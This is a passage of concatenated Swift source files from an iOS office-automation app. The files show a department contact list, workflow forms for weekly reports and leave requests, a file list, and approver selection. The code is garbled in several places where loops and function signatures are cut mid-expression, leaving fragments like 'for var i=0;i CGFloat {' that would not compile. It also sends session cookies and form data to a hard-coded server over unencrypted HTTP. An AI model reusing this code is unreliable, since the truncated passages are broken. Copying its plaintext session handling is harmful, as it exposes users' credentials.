self.phones.append(js[\"list\"][0][\"A25\"].string!)\n self.phonep.append(js[\"list\"][0][\"A5\"].string!)\n }\n// dispatch_async(dispatch_get_main_queue(), {\n self.tableView?.reloadData()\n self.c=1\n if self.a==1 && self.b==1 && self.c==1 && self.d==1 && self.e==1{\n self.cover.hidden=true\n self.clearAllNotice()\n }\n// return\n// })\n // print(5)\n }\n Alamofire.request(.POST, \"http://www.zxmoa.com:83/general/address/pubcenter/addpublic_do.php\",parameters:[\"op\":\"getAddressList\",\"ADDRESS_TYPE\":\"1\",\"GROUP_ID\": \"31\",\"f\":\"view\",\"sortField\":\"A13\",\"sortType\":\"ASC\",\"currentPage\":\"0\",\"itemsPerPage\":\"20\"],headers:[\"Cookie\":\"PHPSESSID=\\(cookpsw)\"]).responseData { response in\n if let j = response.result.value {//ID31 4G\n let js = JSON(data:j)\n let a:Int = js[\"list\"].count\n for var i=0;i CGFloat {\n return 25\n }//title高度\n func numberOfSectionsInTableView(tableView: UITableView) -> Int {\n // #warning Incomplete implementation, return the number of sections\n return 5\n }//设置分区数量\n func tableView(tableView: UITableView, titleForHeaderInSection section: Int) -> String?{\n switch (section) {\n case 0:\n return \"总经理\"\n case 1:\n return \"办公室\"\n case 2:\n return \"财务室\"\n case 3:\n return \"4G事业部\"\n case 4:\n return \"工程部\"\n default: return \"\"\n }\n }\n \n func tableView(tableView: UITableView, numberOfRowsInSection section: Int) -> Int {\n // #warning Incomplete implementation, return the number of rows\n if (0 == section) {\n return name.count\n } else if (1 == section) {\n return sex.count\n } else if (2 == section) {\n return phone.count\n }\n else if (3 == section) {\n return zhiW.count\n }\n else if (4 == section) {\n return BuMen.count\n }\n return 0\n\n }//每组有多少\n\n \n func tableView(tableView: UITableView, cellForRowAtIndexPath indexPath: NSIndexPath) -> UITableViewCell {\n// print(1)\n var cell = tableView.dequeueReusableCellWithIdentifier(\"cellid\")\n if cell == nil{\n cell = UITableViewCell(style: UITableViewCellStyle.Subtitle, reuseIdentifier: \"cellid\")//设置cell样式\n cell!.accessoryType = UITableViewCellAccessoryType.DisclosureIndicator//右侧加小剪头\n }\n if (0 == indexPath.section) {\n cell?.textLabel?.text = name[indexPath.row]\n cell?.detailTextLabel?.text = \"职务:\\(names[indexPath.row]) | 电话:\\(namep[indexPath.row])\"\n }\n \n else if(1 == indexPath.section) {\n cell?.textLabel?.text = sex[indexPath.row]\n cell?.detailTextLabel?.text = \"职务:\\(sexs[indexPath.row]) | 电话:\\(sexp[indexPath.row])\"\n }\n \n else if (2 == indexPath.section) {\n cell?.textLabel?.text = phone[indexPath.row]\n cell?.detailTextLabel?.text = \"职务:\\(phones[indexPath.row]) | 电话:\\(phonep[indexPath.row])\"\n }\n else if (3 == indexPath.section) {\n cell?.textLabel?.text = zhiW[indexPath.row]\n cell?.detailTextLabel?.text = \"职务:\\(zhiWs[indexPath.row]) | 电话:\\(zhiWp[indexPath.row])\"\n }\n\n else if (4 == indexPath.section) {\n cell?.textLabel?.text = BuMen[indexPath.row]\n cell?.detailTextLabel?.text = \"职务:\\(BuMens[indexPath.row]) | 电话:\\(BuMenp[indexPath.row])\"\n\n }\n return cell!\n }//绘制cell\n \n func tableView(tableView: UITableView, didSelectRowAtIndexPath indexPath: NSIndexPath) {\n let ccc:NSIndexPath = indexPath\n var qb:[String]=[\"1\",\"2\",\"3\",\"1\"]\n if (0 == ccc.section) {\n qb[0]=name[ccc.row]\n qb[1]=names[ccc.row]\n qb[2]=\"总经理\"\n qb[3]=namep[ccc.row]\n } else if (1 == ccc.section) {\n qb[0]=sex[ccc.row]\n qb[1]=sexs[ccc.row]\n qb[2]=\"办公室\"\n qb[3]=sexp[ccc.row]\n } else if (2 == ccc.section) {\n qb[0]=phone[ccc.row]\n qb[1]=phones[ccc.row]\n qb[2]=\"财务室\"\n qb[3]=phonep[ccc.row]\n }\n else if (3 == ccc.section) {\n qb[0]=zhiW[ccc.row]\n qb[1]=zhiWs[ccc.row]\n qb[2]=\"4G事业部\"\n qb[3]=zhiWp[ccc.row]\n }\n else if (4 == ccc.section) {\n qb[0]=BuMen[ccc.row]\n qb[1]=BuMens[ccc.row]\n qb[2]=\"工程部\"\n qb[3]=BuMenp[ccc.row]\n }\n\n self.tableView.deselectRowAtIndexPath(indexPath, animated: true)\n //点击cell后cell不保持选中状态\n \n \n let alertController = UIAlertController(title: \"个人详情\",\n message: \"姓名:\\(qb[0]) \\n\\n部门: \\(qb[2]) \\n\\n职务:\\(qb[1]) \\n\\n电话: \\(qb[3]) \\n\\n\", preferredStyle: .Alert)\n\n \n \n \n \n /**底部警告窗口设置*/\n let phe = UIAlertController(title: \"呼出电话\", message: \"是否呼叫 \\(qb[0])\", preferredStyle: .ActionSheet)\n /**/\n let ok = UIAlertAction(title: \"确定\", style: .Default, handler: {action in let url1 = NSURL(string: \"tel://\\(qb[3])\")\n UIApplication.sharedApplication().openURL(url1!)})\n /**警告窗口设置*/\n let cancelAction = UIAlertAction(title: \"取消\", style: .Destructive, handler: nil)\n \n phe.addAction(ok)\n phe.addAction(cancelAction)\n \n \n \n let cacel = UIAlertAction(title: \"呼出\", style:.Destructive,handler:{ action in self.presentViewController(phe, animated: true, completion: nil)} )\n let okAction = UIAlertAction(title: \"取消\", style: .Cancel,\n handler: nil)//定义详情取消按钮\n \n \n alertController.addAction(okAction)\n alertController.addAction(cacel)\n \n self.presentViewController(alertController, animated: true, completion: nil)\n }\n \n override func viewDidDisappear(animated: Bool) {\n self.clearAllNotice()\n }\n\n}\n/zxmoa/FormController.swift\n//\n// FormController.swift\n// zxmoa\n//\n// Created by mingxing on 16/3/30.\n// Copyright © 2016年 ruanxr. All rights reserved.\n//\n\nimport UIKit\nimport Alamofire\nimport SwiftyJSON\n\nclass FormController: FormViewController{\n var titlename:String = \"\"\n var data:String?\n var RUN_ID1:String?\n var date1:[String:AnyObject]=[:]\n var senders0:[[String]] = []\n var senders1:[[String]] = []\n var flag = 0\n /**创建表单结构体*/\n struct Static {\n static let title = \"RUN_NAME\"\n static let InstancyType = \"InstancyType\"\n static let DATA_1 = \"DATA_1\"\n static let DATA_2 = \"DATA_2\"\n static let DATA_3 = \"DATA_3\"\n static let DATA_4 = \"DATA_4\"\n static let DATA_5 = \"DATA_5\"\n static let DATA_6 = \"DATA_6\"\n static let DATA_7 = \"DATA_7\"\n static let DATA_8 = \"DATA_8\"\n static let DATA_9 = \"DATA_9\"\n static let DATA_10 = \"DATA_10\"\n static let DATA_11 = \"DATA_11\"\n static let DATA_12 = \"DATA_12\"\n static let DATA_13 = \"DATA_13\"\n }\n /**初始化加载表单*/\n// required init(coder aDecoder: NSCoder) {\n// super.init(coder: aDecoder)\n// self.loadForm()\n// }\n \n override func viewDidLoad() {\n super.viewDidLoad()\n self.navigationItem.title = titlename\n self.navigationItem.rightBarButtonItem = UIBarButtonItem(title: \"提交 \", style: .Plain, target: self, action: \"submit:\")\n loadForm()\n view.addGestureRecognizer(UITapGestureRecognizer(target: self, action: \"handleTap:\"))\n }\n \n /**按钮事件*/\n func submit(_: UIBarButtonItem!) {\n let message1 = self.form.formValues()\n self.view.endEditing(true)\n date1 = message1\n let cont = makeform()\n\n if cont == 1{\n \n let res = UIAlertController(title: \"Form output\", message: date1.description, preferredStyle: .Alert)\n\n let queren = UIAlertController(title: \"确认提交\", message: \"是否提交\\(titlename)\", preferredStyle: .ActionSheet)\n \n let querenok = UIAlertAction(title: \"提交\", style: .Default, handler: {action in\n self.urll()\n self.urllss()\n })\n \n let querencancel = UIAlertAction(title: \"取消\", style: .Destructive, handler: nil)\n queren.addAction(querenok)\n queren.addAction(querencancel)\n \n let ok = UIAlertAction(title: \"提交\", style: .Default, handler: {action in self.presentViewController(queren, animated: true, completion: nil)})\n let cancelAction = UIAlertAction(title: \"取消\", style: .Destructive, handler: nil)\n res.addAction(ok)\n res.addAction(cancelAction)\n\n self.presentViewController(res, animated: true, completion: nil)\n }\n }\n \n func makeform()->Int{\n var qm = 1\n date1[\"RUN_ID\"] = RUN_ID1\n date1[\"doc_id\"] = \"\"\n date1[\"OP_FLAG\"] = \"1\"\n date1[\"f\"] = \"autosave\"\n date1[\"FLOW_PRCS\"] = \"1\"\n date1[\"PRCS_ID\"] = \"1\"\n \n if flag == 1{\n date1[\"FIELD_COUNTER\"] = \"4\"\n date1[\"ITEM_ID_MAX\"] = \"4\"\n date1[\"FLOW_ID\"] = \"3004\"\n \n let d7:String? = date1[\"DATA_7\"] as? String\n let d8:String? = date1[\"DATA_8\"] as? String\n if d7 == \"\" || d8 == \"\"{\n qm = 0\n let alert: UIAlertView = UIAlertView(title: \"警告\", message: \"本周工作内容 或者 下周工作计划没有填写\", delegate: nil, cancelButtonTitle: \"OK\")\n alert.show()\n }\n }else if flag == 2{\n date1[\"FIELD_COUNTER\"] = \"13\"\n date1[\"ITEM_ID_MAX\"] = \"13\"\n date1[\"FLOW_ID\"] = \"2001\"\n let d7:String? = date1[\"DATA_5\"] as? String\n let d8:String? = date1[\"DATA_7\"] as? String\n if d7 == \"\" || d8 == \"\"{\n qm = 0\n let alert: UIAlertView = UIAlertView(title: \"警告\", message: \"请假开始时间 或者 请假结束时间没有填写\", delegate: nil, cancelButtonTitle: \"OK\")\n alert.show()\n }else{\n let timeFo = NSDateFormatter()\n timeFo.dateFormat = \"yyy-MM-dd HH:mm\"\n let q5:NSDate = timeFo.dateFromString(d7!)!\n let q6:NSDate = timeFo.dateFromString(d8!)!\n let second = q6.timeIntervalSinceDate(q5)\n if second <= 0{\n let alert: UIAlertView = UIAlertView(title: \"警告\", message: \"请假开始时间晚于或等于请假结束时间\\n请重新填写\", delegate: nil, cancelButtonTitle: \"OK\")\n alert.show()\n qm = 0\n }else{\n let second2 = String(format: \"%.2f\", second/60.0/60.0/24.0)\n date1[\"DATA_10\"] = second2\n timeFo.dateFormat = \"yyy-MM-dd\"\n date1[\"DATA_5\"] = timeFo.stringFromDate(q5)\n date1[\"DATA_7\"] = timeFo.stringFromDate(q6)\n timeFo.dateFormat = \"HH:mm\"\n date1[\"DATA_6\"] = timeFo.stringFromDate(q5)\n date1[\"DATA_8\"] = timeFo.stringFromDate(q6)\n }\n }\n\n }else if flag == 3{\n date1[\"FIELD_COUNTER\"] = \"9\"\n date1[\"ITEM_ID_MAX\"] = \"9\"\n date1[\"FLOW_ID\"] = \"3002\"\n let d6:String? = date1[\"DATA_3\"] as? String\n let str3=d6!.substringToIndex(d6!.startIndex.advancedBy(10))\n print(str3)\n date1[\"DATA_3\"] = str3\n }\n return qm\n }\n \n func trunaround(se:[Int],se1:[Int]){\n let vc = submitform()\n vc.RUN_ID = RUN_ID1\n vc.senders = senders0\n vc.senders1 = senders1\n vc.se = se\n vc.se1 = se1\n vc.ten = flag\n vc.hidesBottomBarWhenPushed = true\n self.navigationController?.pushViewController(vc, animated: true)\n }\n \n func urll(){\n showNoticeWait()\n let url = \"http://www.zxmoa.com:83/general/workflow/new/do.php\"\n let header = [\"Cookie\":\"PHPSESSID=\\(cookpsw)\"]\n Alamofire.request(.POST,url,headers: header,parameters: date1).responseString{ response in\n print(response.result.value)\n print(\"---------\")\n }\n }\n \n func urllss(){\n /**工作周报上报选择代办人*/\n let header = [\"Cookie\":\"PHPSESSID=\\(cookpsw)\"]\n var seede:[String] = [\"0\",\"0\",\"0\"]\n if flag == 1{\n seede[0] = \"1\"\n seede[1] = \"0\"\n seede[2] = \"3004\"\n }else if flag == 2{\n seede[0] = \"2\"\n seede[1] = \"0\"\n seede[2] = \"2001\"\n }else if flag == 3{\n seede[0] = \"0\"\n seede[1] = \"0\"\n seede[2] = \"3002\"\n \n }\n var pamter:[String:String] = [\"op\":\"getUserByDept\",\"param[RUN_ID]\":\"\\(RUN_ID1)\",\"param[FLOW_ID]\":\"\\(seede[2])\",\"param[PRCS_ID]\":\"1\",\"param[FLOW_PRCS]\":\"1\",\"param[showLeaveOffice]\":\"false\",\"param[getDataType]\":\"user_select_single_inflow_new\",\"param[flow_type]\":\"1\",\"param[PRCS_TO_CHOOSE]\":\"\\(seede[0])\"]\n let url = \"http://www.zxmoa.com:83/newplugins/js/jquery-select-dialog/user/do.php\"\n pamter[\"param[PRCS_TO_CHOOSE]\"] = seede[0]\n var se:[Int] = [] , se1:[Int] = []\n Alamofire.request(.GET,url,parameters: pamter,headers: header).responseData{response in\n if let js = response.result.value{\n let jss = JSON(data: js)\n let a = jss[\"DATA\"].count\n// print(a)\n self.senders1 = [[String]](count: a,repeatedValue: [String](count: 2, repeatedValue: \" \"))\n se1 = [Int](count: a, repeatedValue: 1)\n for var i = 0 ; i/zxmoa/UIbuttonenum.swift\n//\n// UIbuttonenum.swift\n// zxmoa\n//\n// Created by mingxing on 16/3/28.\n// Copyright © 2016年 ruanxr. All rights reserved.\n//\n\nimport UIKit\n\n//extension UIView {\n// \n// func addOnClickListener(target: AnyObject, action: Selector) {\n// let gr = UITapGestureRecognizer(target: target, action: action)\n// gr.numberOfTapsRequired = 1\n// userInteractionEnabled = true\n// addGestureRecognizer(gr)\n// }\n// \n//}\n\nextension UIButton {\n \n @objc func set(image anImage: UIImage?, title: String,\n titlePosition: UIViewContentMode, additionalSpacing: CGFloat, state: UIControlState){\n self.imageView?.contentMode = .Center\n self.setImage(anImage, forState: state)\n \n positionLabelRespectToImage(title, position: titlePosition, spacing: additionalSpacing)\n \n self.titleLabel?.contentMode = .Center\n self.setTitle(title, forState: state)\n }\n \n private func positionLabelRespectToImage(title: String, position: UIViewContentMode,\n spacing: CGFloat) {\n let imageSize = self.imageRectForContentRect(self.frame)\n let titleFont = self.titleLabel?.font!\n let titleSize = title.sizeWithAttributes([NSFontAttributeName: titleFont!])\n \n var titleInsets: UIEdgeInsets\n var imageInsets: UIEdgeInsets\n \n switch (position){\n case .Top:\n titleInsets = UIEdgeInsets(top: -(imageSize.height + titleSize.height + spacing),\n left: -(imageSize.width), bottom: 0, right: 0)\n imageInsets = UIEdgeInsets(top: 0, left: 0, bottom: 0, right: -titleSize.width)\n case .Bottom:\n titleInsets = UIEdgeInsets(top: (imageSize.height + titleSize.height + spacing),\n left: -(imageSize.width), bottom: 0, right: 0)\n imageInsets = UIEdgeInsets(top: 0, left: 0, bottom: 0, right: -titleSize.width)\n case .Left:\n titleInsets = UIEdgeInsets(top: 0, left: -(imageSize.width * 2), bottom: 0, right: 0)\n imageInsets = UIEdgeInsets(top: 0, left: 0, bottom: 0,\n right: -(titleSize.width * 2 + spacing))\n case .Right:\n titleInsets = UIEdgeInsets(top: 0, left: 0, bottom: 0, right: -spacing)\n imageInsets = UIEdgeInsets(top: 0, left: 0, bottom: 0, right: 0)\n default:\n titleInsets = UIEdgeInsets(top: 0, left: 0, bottom: 0, right: 0)\n imageInsets = UIEdgeInsets(top: 0, left: 0, bottom: 0, right: 0)\n }\n \n self.titleEdgeInsets = titleInsets\n self.imageEdgeInsets = imageInsets\n }\n}/zxmoa/ZiLiaoController.swift\n//\n// ZiLiaoController.swift\n// zxmoa\n//\n// Created by mingxing on 16/3/16.\n// Copyright © 2016年 ruanxr. All rights reserved.\n//\n\nimport UIKit\nimport Alamofire\nimport SwiftyJSON\nimport MJRefresh\n\nclass ZiLiaoController: UIViewController,UITableViewDataSource,UITableViewDelegate {\n var ZiLiao:[[String]]=[]\n var tableView:UITableView?\n var cover:UILabel?\n var isNew:[[Bool]] = []\n var a=0,b = 0,c = 0,flag = 0\n var urll = \"http://www.zxmoa.com:83/general/file_folder/file_new/filelist_do.php\"\n var parameters:[String : String] = [\"FILE_SORT\":\"1\",\"SORT_ID\":\"36\",\"currentPage\":\"0\",\"itemsPerPage\":\"10\"]\n var header = [\"Cookie\":\"PHPSESSID=\\(cookpsw)\"]\n // 顶部刷新\n let aheader = MJRefreshNormalHeader()\n // 底部刷新\n let footer = MJRefreshAutoNormalFooter()\n \n override func loadView() {\n super.loadView()//通过xib加载时图\n }\n \n override func viewDidLoad() {\n super.viewDidLoad()\n// self.ZiLiao = [[String]](count: 0, repeatedValue: [String](count: 3, repeatedValue: \"\"))\n ursll(\"0\")//发送请求\n creativeCell()//创建cell\n tableView!.reloadData()\n \n \n // 下拉刷新\n aheader.setRefreshingTarget(self, refreshingAction: Selector(\"headerRefresh\"))\n // 现在的版本要用mj_header\n tableView!.mj_header = aheader\n // 上拉刷新\n footer.setRefreshingTarget(self, refreshingAction: Selector(\"footerRefresh\"))\n tableView!.mj_footer = footer\n }\n // 底部刷新\n var index = 0\n func footerRefresh(){\n if index < b - 1{\n index += 1\n ursll(\"\\(index)\")\n self.tableView!.mj_footer.endRefreshing()\n }\n else {\n footer.endRefreshingWithNoMoreData()//全部刷新完毕\n }\n }\n func headerRefresh(){\n uryanz(\"0\")\n if flag == 1{\n headerursll(\"0\")\n // 结束刷新\n self.tableView!.mj_header.endRefreshing()\n }\n else{\n self.tableView!.mj_header.endRefreshing()\n }\n }\n \n /**判断是否有新的*/\n func uryanz(ur:String){\n parameters.updateValue(ur, forKey: \"currentPage\")\n Alamofire.request(.POST,urll,parameters:parameters,headers: header ).responseData{ response in\n if let j = response.result.value{\n let js = JSON(data: j)\n let q = Int(js[\"totalCount\"].string!)!\n if(q > self.c){\n self.flag = q - self.c\n } else {\n self.flag = 0\n }\n }\n \n }\n }\n \n func headerursll(ur:String){\n var xin:[[String]]=[]\n parameters.updateValue(ur, forKey: \"currentPage\")\n Alamofire.request(.POST,urll,parameters:parameters,headers: header ).responseData{ response in\n if let j = response.result.value{\n let js = JSON(data: j)\n self.a = js[\"list\"].count;self.b = Int(js[\"totalCount\"].string!)!\n self.c = self.b\n xin = [[String]](count: self.a, repeatedValue: [String](count: 4, repeatedValue: \"\"))\n // print(self.Xinwen, 111)\n let qq:[String]=[\"1\",\"SUBJECT\",\"USER_NAME\"]\n for var i=0;i= 10{\n self.ZiLiao.removeLast()\n }\n self.ZiLiao.insert(xin[i],atIndex:0)\n }\n self.tableView!.reloadData()\n self.cover!.hidden=true\n }\n }\n }\n \n \n override func didReceiveMemoryWarning() {\n super.didReceiveMemoryWarning()\n // Dispose of any resources that can be recreated.\n }\n \n func creativeCell(){\n self.tableView = UITableView(frame: self.view.frame, style: UITableViewStyle.Plain)\n self.tableView?.frame = CGRectMake(0, 0, self.view.frame.width, self.view.frame.height - 150)\n cover = UILabel(frame: self.view.frame )\n cover!.backgroundColor = UIColor(red: 0xf0/255, green: 0xf0/255,\n blue: 0xf0/255, alpha: 1)\n\n //创建控件\n \n self.tableView!.dataSource=self\n self.tableView!.delegate=self\n //实现代理\n \n self.tableView!.backgroundColor = UIColor(red: 0xf0/255, green: 0xf0/255,\n blue: 0xf0/255, alpha: 1)\n \n self.tableView!.registerNib(UINib(nibName:\"GroupCellAll\", bundle:nil),\n forCellReuseIdentifier:\"mycell\")\n \n self.tableView!.estimatedRowHeight = 200.0;\n// self.tableView!.rowHeight = UITableViewAutomaticDimension;\n \n //去除单元格分隔线\n self.tableView!.separatorStyle = .None\n \n //去除尾部多余的空行\n// tableView!.tableFooterView = UIView(frame:CGRectZero)\n \n self.view.addSubview(tableView!)\n self.view.addSubview(cover!)\n //显示控件\n \n// self.tableView!.contentInset.bottom = 160\n //由于设置了自动估算高度 导致最后一个cell弹出屏幕外 增加下边缘的高度\n self.tableView!.reloadData()\n }\n \n func ursll(ur:String){\n var xin:[[String]]=[]\n parameters.updateValue(ur, forKey: \"currentPage\")\n// showNoticeWait()\n Alamofire.request(.POST,urll,parameters:parameters,headers:header).responseData{ response in\n if let j = response.result.value{\n let js = JSON(data: j)\n self.a = js[\"list\"].count;self.b=Int(js[\"totalCount\"].string!)!\n self.c = self.b\n xin = [[String]](count: self.a, repeatedValue: [String](count: 4, repeatedValue: \"\"))\n// print(self.b)\n let qq:[String]=[\"1\",\"SUBJECT\",\"USER_NAME\"]\n for var i=0;i Int {\n return 1;\n }\n \n func tableView(tableView: UITableView, numberOfRowsInSection section: Int) -> Int {\n return self.ZiLiao.count\n }\n \n\n \n func tableView(tableView: UITableView, cellForRowAtIndexPath indexPath: NSIndexPath) -> UITableViewCell {\n let cell:GroupCellAll = tableView.dequeueReusableCellWithIdentifier(\"mycell\")\n as! GroupCellAll\n cell.titleView.text = self.ZiLiao[indexPath.row][1]\n cell.GroupEdit.text = self.ZiLiao[indexPath.row][2]\n\n// cell.GroupTime.text = self.ZiLiao[indexPath.row][3]\n return cell\n }\n \n func tableView(tableView: UITableView, didSelectRowAtIndexPath indexPath: NSIndexPath) {\n tableView.deselectRowAtIndexPath(indexPath, animated: true)\n //点击cell后cell不保持选中状态\n \n /*\n let newId = \"NOTIFY_ID\" + self.ZiLiao[indexPath.row][0]\n let vc = webView()\n vc.data = newId\n // self.presentViewController(vc, animated: true, completion: nil)\n \n vc.hidesBottomBarWhenPushed = true\n //在push到二级页面后隐藏tab bar\n \n self.navigationController?.pushViewController(vc, animated: true)\n //页面跳转 push方法\n */\n }\n\n\n /*\n // MARK: - Navigation\n\n // In a storyboard-based application, you will often want to do a little preparation before navigation\n override func prepareForSegue(segue: UIStoryboardSegue, sender: AnyObject?) {\n // Get the new view controller using segue.destinationViewController.\n // Pass the selected object to the new view controller.\n }\n */\n\n}\n/zxmoa/submitform.swift\n//\n// submitform.swift\n// zxmoa\n//\n// Created by mingxing on 16/4/1.\n// Copyright © 2016年 ruanxr. All rights reserved.\n//\n\nimport UIKit\nimport Alamofire\nimport SwiftyJSON\n\nclass submitform: FormViewController {\n\n var RUN_ID:String?\n var senders:[[String]] = []\n var senders1:[[String]] = []\n var se:[Int]=[]\n var se1:[Int]=[]\n var qb:[[String]] = []\n var date1:[String:AnyObject]?\n var flag = 0\n var ten:Int!\n struct Static {\n static let submit = \"opUserListStr\"\n static let sub = \"userListStr\"\n }\n \n func segmentDidchange(segmented:UISegmentedControl){\n \n switch( segmented.selectedSegmentIndex ) {\n case 0:\n self.form.removeSectionAll()\n loadForm(se1,ss: senders1)\n self.tableView.reloadData()\n qb = senders1\n if ten == 1 || ten == 3{\n flag = 1\n }else if ten == 2{\n flag = 2\n }\n break\n case 1:\n self.form.removeSectionAll()\n loadForm(se,ss: senders)\n self.tableView.reloadData()\n qb = senders\n flag = 0\n break\n default : break\n }\n // print(segmented.titleForSegmentAtIndex(segmented.selectedSegmentIndex))\n }\n\n \n override func viewDidLoad() {\n super.viewDidLoad()\n \n var items:[String]!\n if ten == 1 || ten == 2{\n items = [\"办公室\",\"中层领导\"] as [String]\n }else{\n items = [\"上报\"] as [String]\n }\n let segmented=UISegmentedControl(items:items)\n segmented.center=self.view.center\n segmented.selectedSegmentIndex = 0 //默认选中第一项\n segmented.addTarget(self, action: \"segmentDidchange:\",\n forControlEvents: UIControlEvents.ValueChanged) //添加值改变监听\n segmented.tintColor = UIColor.redColor()\n\n self.view.addSubview(segmented)\n \n self.navigationItem.title = \"流转节点\"\n self.navigationItem.rightBarButtonItem = UIBarButtonItem(title: \"提交 \", style: .Plain, target: self, action: \"submit:\")\n loadForm(se1,ss: senders1)\n segmentDidchange(segmented)\n // Do any additional setup after loading the view.\n }\n\n func submit(_: UIBarButtonItem!) {\n\n date1 = self.form.formValues()\n let d7:String? = date1![\"opUserListStr\"] as? String\n let d8:String? = date1![\"userListStr\"] as? String\n if d7 == \"\"{\n let alert: UIAlertView = UIAlertView(title: \"警告\", message: \"没有指定主办人\", delegate: nil, cancelButtonTitle: \"OK\")\n alert.show()\n }else{\n \n let opuser = qb[opstringToInt(d7!)][0]\n \n date1![\"opUserListStr\"] = opuser\n date1![\"PRCS_OP_USER\"] = qb[opstringToInt(d7!)][1]\n date1![\"PRCS_OP_USER_NAME_TMP\"] = opuser\n date1![\"f\"] = \"turnnext\"\n date1![\"flow_node\"] = \"on\"\n date1![\"MOBILE_SMS_REMIND\"] = \"0\"\n date1![\"EMAIL_REMIND\"] = \"0\"\n date1![\"SMS_REMIND\"] = \"0\"\n date1![\"muc\"] = \"0\"\n date1![\"is_concourse\"] = \"0\"\n date1![\"OP_FLAG\"] = \"1\"\n date1![\"FLOW_PRCS_UP\"] = \"1\"\n date1![\"PRCS_ID\"] = \"1\"\n date1![\"RUN_ID\"] = RUN_ID\n \n if ten == 1{\n date1![\"FLOW_ID\"] = \"3004\"\n date1!.updateValue(\"\\(flag)\", forKey: \"PRCS_TO_CHOOSE\")\n date1![\"FLOW_PRCS\"] = \"\\(flag+2)\"\n let user = stringToInt(d8!)\n var prcs = \"\"\n var prcsid = \"\"\n for var i = 0;i < user.count;i++ {\n let s = user[i]\n prcs = prcs + qb[s][0] + \",\"\n prcsid = prcsid + qb[s][1] + \",\"\n }\n date1![\"userListStr\"] = prcs\n date1![\"PRCS_USER\"] = prcsid\n date1![\"PRCS_USER_NAME_TMP\"] = prcs\n }else if ten == 2{\n date1![\"FLOW_ID\"] = \"2001\"\n date1!.updateValue(\"\\(flag)\", forKey: \"PRCS_TO_CHOOSE\")\n date1![\"FLOW_PRCS\"] = \"\\(flag+2)\"\n let user = stringToInt(d8!)\n var prcs = \"\"\n var prcsid = \"\"\n for var i = 0;i < user.count;i++ {\n let s = user[i]\n prcs = prcs + qb[s][0] + \",\"\n prcsid = prcsid + qb[s][1] + \",\"\n }\n date1![\"userListStr\"] = prcs\n date1![\"PRCS_USER\"] = prcsid\n date1![\"PRCS_USER_NAME_TMP\"] = prcs\n }else{\n date1![\"FLOW_ID\"] = \"3002\"\n date1![\"PRCS_TO_CHOOSE\"] = \"0\"\n date1![\"FLOW_PRCS\"] = \"2\"\n let user = stringToInt(d8!)\n var prcs = \"\"\n var prcsid = \"\"\n for var i = 0;i < user.count;i++ {\n let s = user[i]\n prcs = prcs + senders[s][0] + \",\"\n prcsid = prcsid + senders[s][1] + \",\"\n }\n date1![\"userListStr\"] = prcs\n date1![\"PRCS_USER\"] = prcsid\n date1![\"PRCS_USER_NAME_TMP\"] = prcs\n }\n print(date1)\n urll()\n }\n }\n \n func urll(){\n // showNoticeWait()\n let url = \"http://www.zxmoa.com:83/general/workflow/new/do.php\"\n let header = [\"Cookie\":\"PHPSESSID=\\(cookpsw)\"]\n Alamofire.request(.POST,url,headers: header,parameters: date1).responseString{ response in\n if let j = response.result.value{\n print(j)\n print(\"---------\")\n let range = j.rangeOfString(\"流程提交完成\")\n if range != nil{\n self.showNoticeSuc(\"流程提交完成\", time: 1.5, autoClear: true)\n self.navigationController?.popToRootViewControllerAnimated(true)\n }else{\n self.showNoticeErr(\"流程提交失败\",time: 1.5, autoClear: true)\n self.navigationController?.popToRootViewControllerAnimated(true)\n }\n }\n }\n }\n\n func stringToInt(res:String)-> [Int]{\n let qcharset=NSCharacterSet(charactersInString:\"()\")\n let str4 = res.stringByTrimmingCharactersInSet(qcharset)\n \n let charset=NSCharacterSet(charactersInString:\",\")\n let resArray=str4.componentsSeparatedByCharactersInSet(charset)\n let re = NSCharacterSet(charactersInString:\" \\n \")\n var trname:[Int]=[]\n for var i = 0;i < resArray.count;i++ {\n let str5 = resArray[i].stringByTrimmingCharactersInSet(re)\n trname.append(Int(str5)!)\n }\n return trname\n }\n \n func opstringToInt(res:String)-> Int{\n let qcharset=NSCharacterSet(charactersInString:\"()\")\n let str4 = res.stringByTrimmingCharactersInSet(qcharset)\n \n let charset=NSCharacterSet(charactersInString:\",\")\n let resArray=str4 .componentsSeparatedByCharactersInSet(charset)\n \n let re = NSCharacterSet(charactersInString:\"\\n \")\n let str5 = resArray[0].stringByTrimmingCharactersInSet(re)\n let trname = Int(str5)\n return trname!\n }\n\n private func loadForm(s:[Int],ss:[[String]]) {\n let form = FormDescriptor(title: \"流转节点\")\n\n let section1 = FormSectionDescriptor(headerTitle: \"指定主办人\", footerTitle: nil)\n \n var row = FormRowDescriptor(tag: Static.submit, rowType: .MultipleSelector, title: \"指定主办人\")\n row.configuration[FormRowDescriptor.Configuration.Options] = s\n row.configuration[FormRowDescriptor.Configuration.AllowsMultipleSelection] = false\n row.configuration[FormRowDescriptor.Configuration.TitleFormatterClosure] = { value in return ss[value as! Int][0]\n } as TitleFormatterClosure\n if s.count == 1{\n row.value = 0\n }\n section1.addRow(row)\n \n \n let section2 = FormSectionDescriptor(headerTitle: \"所有主办人\", footerTitle: nil)\n \n row = FormRowDescriptor(tag: Static.sub, rowType: .MultipleSelector, title: \"所有主办人\")\n row.configuration[FormRowDescriptor.Configuration.Options] = s\n row.configuration[FormRowDescriptor.Configuration.AllowsMultipleSelection] = true\n row.configuration[FormRowDescriptor.Configuration.TitleFormatterClosure] = { value in return ss[value as! Int][0]\n } as TitleFormatterClosure\n \n if s.count == 1{\n row.value = 0\n }\n section2.addRow(row)\n\n form.sections = [section1,section2]\n self.form = form\n }\n\n override func didReceiveMemoryWarning() {\n super.didReceiveMemoryWarning()\n // Dispose of any resources that can be recreated.\n }\n\n}\n/zxmoa/GroupCellAll.swift\n//\n// GroupCellAll.swift\n// zxmoa\n//\n// Created by mingxing on 16/3/17.\n// Copyright © 2016年 ruanxr. All rights reserved.\n//\n\nimport UIKit\n\n/**自定义cell的xib视图*/\nclass GroupCellAll: UITableViewCell {\n\n @IBOutlet weak var groupView: UIView!\n @IBOutlet weak var titleView: UILabel!\n @IBOutlet weak var GroupEdit: UILabel!\n @IBOutlet weak var GroupTime: UILabel!\n \n override func awakeFromNib() {\n super.awakeFromNib()\n \n// groupView.layer.cornerRadius = 5\n \n /**自动换行*/\n titleView.lineBreakMode = NSLineBreakMode.ByWordWrapping\n /**自动换行*/\n titleView.numberOfLines = 0\n // Initialization code\n \n /**设置cell阴影*/\n self.layer.shadowColor = UIColor.grayColor().CGColor\n self.layer.shadowOffset = CGSizeMake(0, 3)//偏移距离\n self.layer.shadowOpacity = 0.3//不透明度\n self.layer.shadowRadius = 2.0//半径\n self.clipsToBounds = false\n /**设置cell阴影*/\n 